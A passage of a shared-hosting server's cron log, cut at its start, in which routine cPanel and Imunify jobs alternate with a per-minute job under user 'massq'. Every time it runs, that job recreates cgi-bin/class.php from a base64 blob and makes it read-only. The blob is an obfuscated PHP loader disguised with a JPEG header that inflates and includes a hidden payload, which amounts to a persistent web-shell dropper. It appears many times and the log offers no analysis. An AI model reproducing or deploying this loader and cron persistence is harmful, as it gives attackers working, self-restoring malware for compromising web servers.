1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:06:01 server CROND[7068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:06:01 server CROND[7069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:06:01 server CROND[7070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:07:01 server CROND[7437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:07:01 server CROND[7438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:07:01 server CROND[7439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:08:01 server CROND[7804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:08:01 server CROND[7805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:08:01 server CROND[7806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:09:01 server CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:09:01 server CROND[8277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:09:01 server CROND[8278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:09:01 server CROND[8276]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 13:10:01 server CROND[8700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:10:01 server CROND[8701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:10:01 server CROND[8705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:10:01 server CROND[8706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:10:01 server CROND[8708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:10:01 server CROND[8709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:10:01 server CROND[8707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:10:01 server CROND[8710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:11:01 server CROND[9620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:11:01 server CROND[9622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:11:01 server CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:12:01 server CROND[9997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:12:01 server CROND[9998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:12:01 server CROND[9995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:12:01 server CROND[9999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:13:01 server CROND[10454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:13:01 server CROND[10455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:13:01 server CROND[10456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:14:01 server CROND[10919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:14:01 server CROND[10920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:14:01 server CROND[10921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:15:01 server CROND[11304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:15:01 server CROND[11306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:15:01 server CROND[11308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:15:01 server CROND[11309]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:15:01 server CROND[11311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:15:01 server CROND[11313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:15:01 server CROND[11312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:15:01 server CROND[11310]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 13:16:01 server CROND[12144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:16:01 server CROND[12145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:16:01 server CROND[12143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:17:01 server CROND[12550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:17:01 server CROND[12551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:17:01 server CROND[12552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
